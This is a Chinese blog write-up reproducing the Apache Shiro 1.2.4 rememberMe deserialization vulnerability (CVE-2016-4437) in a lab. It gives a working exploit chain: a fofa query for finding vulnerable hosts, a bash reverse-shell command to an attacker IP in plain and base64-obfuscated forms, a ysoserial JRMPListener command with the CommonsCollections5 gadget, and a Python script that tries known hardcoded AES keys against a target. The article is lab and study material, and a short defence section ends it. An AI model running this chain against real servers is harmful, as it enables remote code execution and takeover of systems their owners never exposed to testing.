Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

这篇具有很好参考价值的文章主要介绍了Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

前言:

(一)基本介绍

0x01 影响版本

0x02 漏洞分析

根据加密的顺序,不难知道解密的顺序为:

登入

 验证

 (二)环境搭建

1、本地复现

0x01 源代码

0x02  pom.xml修改:

0x03 tomcat服务器

0x04  ysoserial-jar依赖

0x05  访问端口

 2、vulhub

 访问端口:

 (三)利用工具和方式

1、JRMP协议/服务器

2、ysoserial工具

利用方式1

 利用方式2 

3、利用流程

4、全部利用到的工具

 (四)利用实现

1、漏洞检测与发现

2、检测工具

3、流程

 0x01 攻击机kali监听端口

 0x02 Payload

0x03 启动JRMPListener:

 0x04 python生成Cookie

 0x05 抓包发送

(五)修复和防御


前言:

        关于shiro在2019年爆出来的漏洞,利用的条件相对来说比较苛刻,不仅要有一定的权限登入进去,进去之后密钥爆破也不一定可以成功,环境不好搭建,感兴趣的师傅可以看看Shiro RCE again(Padding Oracle Attack)-安全客 - 安全资讯平台,[SHIRO-721] RememberMe Padding Oracle Vulnerability - ASF JIRA本篇文章介绍的是有关shiro反序列化的漏洞,

(一)基本介绍


SpringBoot整合框架——集成SpringSecurity、shiro_jinyouxin的博客-CSDN博客

0x01 影响版本

Apache Shiro <= 1.2.4

0x02 漏洞分析

Shiro提供了RememberMe的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。

根据加密的顺序,不难知道解密的顺序为:


Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 

  • 获取rememberMe cookie
  • base64 decode
  • 解密AES
  • 反序列化

但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

登入


Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 验证


Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 (二)环境搭建


1、本地复现

0x01 源代码

  • 从github下载: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
  • IDEA打开   shiro-shiro-root-1.2.4\samples\web

0x02  pom.xml修改:

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <!-- 将jstl设置为1.2 -->
        <version>1.2</version>
        <scope>runtime</scope>
</dependency>
..... <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
</dependency>

0x03 tomcat服务器

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

0x04  ysoserial-jar依赖

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

0x05  访问端口

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 2、vulhub

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 访问端口:

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 (三)利用工具和方式


1、JRMP协议/服务器


JRMP全称为Java Remote Method Protocol, 也就是Java远程方法协议。其中 RMI 使用了 JRMP,保证了数据可以正常的传输。

2、ysoserial工具


由前面的原理的介绍,我们知道它是经历过AES加密,那么我们就必须要知道AES加密的key;还有一个重点就是我们要将利用恶意的类进行序列化,找到现成可以利用的CC链,从而实现攻击,所以我们在之前的pom文件里面引入了相关依赖。

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 

        此款攻击可以检测Java项目是否有反序列化漏洞,并且可以找到该漏洞的利用链,我们先进行编译打包,mvn package -D skipTests,我们常常把这样的利用工具称为POP Gadgets,面向属性编程。

利用方式1


payloads/JRMPListener <> exploit/JRMPClient

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 利用方式2 

exploit/JRMPListener <> payloads/JRMPClient

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

原理

https://www.jianshu.com/p/94aad7ee45b3
https://www.sohu.com/a/447023879_120045376
http://t.zoukankan.com/nice0e3-p-14280278.html

3、利用流程


  1. 先构建一个恶意命令,它的作用是让漏洞服务器连接到我们启动的JRMP服务器
  2. 把这个命令序列化、AES加密、base64编码(payload2),写入到Cookie,发给漏洞服务器
  3. 漏洞服务器:base64解码、序AES解密、反列化,执行恶意命令,连接到JRMP服务器
  4. 继续发送恶意payload1,利用CC等通用库的漏洞执行命令

4、全部利用到的工具


Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 (四)利用实现


1、漏洞检测与发现

在set-cookie是否存在remeberMe=deleteMe,fofa 语法搜:
header= "rememberme=deleteMe" 、header= "shiroCookie"

2、检测工具

本人水平有限,直接使用别人的一件利用工具,环境是基于 JDK8

  1. shiro_tool.jar 纯字符版
  2. ShiroExploitV2.51
  3. shiro_attack-v2.0.jar

3、流程

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 0x01 攻击机kali监听端口

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 0x02 Payload


反弹连接命令:
bash -i >& /dev/tcp/ 192.168.1.132/7777 0>&1
shiro对cookie的处理过程是:

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

所以先进行Base64进行加密。

  • 工具:https://ares-x.com/tools/runtime-exec/

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 得到:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMyLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}

0x03 启动JRMPListener:


使用kali攻击机(192.168.1.132),生成监听端口,利用链可以通过前面工具找到。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888
CommonsCollections5 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzIvNzc3NyAwPiY
x}|{base64,-d}|{bash,-i}"

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 0x04 python生成Cookie


  • Kali机器(192.168.1.132)

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

  •  附:kali 切换python版本命令
kali配置
update-alternatives --install /usr/bin/python
python /usr/bin/python2 100
update-alternatives --install /usr/bin/python
python /usr/bin/python3 150
切换版本
update-alternatives --config python
在这里给出大佬Only Tao写的脚本
import base64
import uuid
import requests
from Crypto.Cipher import AES
 
def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)
 
def encode_rememberme(target):
    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']     # 此处简单列举几个密钥
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
 
    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY :" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
 
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY:" + key)
                return key
            else:
                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            print("正确key:" + key)
            return key
        except Exception as e:
            print(e)
  • 生成payload
pip3 install pycrypto #先安装加密模块
python3 shiro.py 192.168.1.132:8888

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 0x05 抓包发送


勾选remember me,火狐浏览器抓登录的包,把刚刚用py处理的payload复制上去。

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

 这里实际上对目标服务器做了二次请求,第一次请求是我们刚刚用BP发送的,第二次请求是利用到的jso工具发送的,它会连接到启动LRMP服务的8888端口,再进行反弹连接。如果不熟悉此过程可以看看下面如何进行反弹连接的,Redis未授权描述的更详细https://blog.csdn.net/m0_61506558/article/details/126738073?spm=1001.2014.3001.5501

 Redis未授权访问漏洞_jinyouxin的博客-CSDN博客

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)文章来源地址https://www.toymoban.com/news/detail-453432.html

(五)修复和防御


  • 升级Shiro
  • 安全产品     看流量
  • 防御工具库   https://github.com/ikkisoft/SerialKiller/

到了这里,关于Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【漏洞复现】Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2017-5645 漏洞名称 Log4j Server 反序列化命令执行漏洞 漏洞评级 高危 影响范围 Apache Log4j 2.8.2之前的2.x版本 漏洞描述 修复方案 1.1、漏洞描述 攻击者可以通过发送一个特别制作的2进

    2024年02月05日
    浏览(48)
  • Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。 说明 内容 漏洞编号 CVE-2017-5645 漏洞名称 Apache Log4j Server 反序列化命令执行漏洞 漏洞评级 高危 影响范围 Apache Log4j 2.8.2之前

    2024年02月07日
    浏览(32)
  • Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)

    目录 一、漏洞介绍 二、漏洞环境搭建 三、漏洞利用 四、漏洞流量特征: CVE-2017-5645 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。 进入漏洞目录文件,启动漏洞环境:docker-c

    2024年02月16日
    浏览(41)
  • 关于Apache Dubbo反序列化漏洞(CVE-2023-23638)的预警提示与对应的Zookeeper版本

            公司在升级dubbo过程中因 zookeeper版本不匹配,导致服务注册和调用出现异常 一、漏洞详情 Apache Dubbo是一款高性能、轻量级的开源Java服务框架。 Apache官方发布安全公告,修复了Apache Dubbo中的一个反序列化漏洞(CVE-2023-23638)。由于Apache Dubbo安全检查存在缺陷,导致可

    2024年02月15日
    浏览(27)
  • Log4j反序列化命令执行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码 环境:vulhub 工具下载地址: ysoserial 利用工具生成payload: 1.创建文件 进入容器内部,查看文件创建成功 2.查看反弹的shell 有点

    2024年02月11日
    浏览(40)
  • 漏洞复现——shiro反序列化

    今天咱们的主角是shiro反序列化命令执行漏洞。该漏洞在HVV等大型攻防项目中,经常被作为突破口。简单介绍了解一下还是很有必要的。废话不多说,进入正题。 一、漏洞描述: Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安

    2024年02月09日
    浏览(29)
  • Shiro1.2.4反序列化漏洞

    目录 Shiro1.2.4反序列化漏洞 一、JRMP协议 二、漏洞原理 三、复现步骤 四、修复和防御 ​JRMP全称为Java Remote Method Protocol,也就是Java远程方法协议。是RMI(Remote Method Invocation)工作的底层协议。 ​Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Co

    2024年02月01日
    浏览(29)
  • shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:Program FilesJava 2.冰蝎 C:UsersaliDesktoptoolsBehinder_v4.0.6 3.shiro反序列化 图形化工具 shiro attack2.2 C:UsersaliDesktoptoolsshiro_attack_2.2 4.shiro反序列化 命令行工具 C:UsersaliDesktoptoolsshiro_tool.jar 一.Shiro-550 CVE-2016-4437 序列化: 在Java中,把Java对象转换为字节序列(

    2023年04月08日
    浏览(39)
  • Shiro反序列化漏洞综合利用工具Shiro Attack使用教程

    目录 漏洞扫描 利用链检测 执行命令 注入蚁剑内存马 将目标网站输入在目标地址栏中吗,点击爆破密钥,如果发现key,则可以利用

    2024年02月13日
    浏览(27)
  • RuoYi v4.2 Shiro反序列化漏洞

    反序列化漏洞 漏洞原理 反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来

    2024年02月01日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包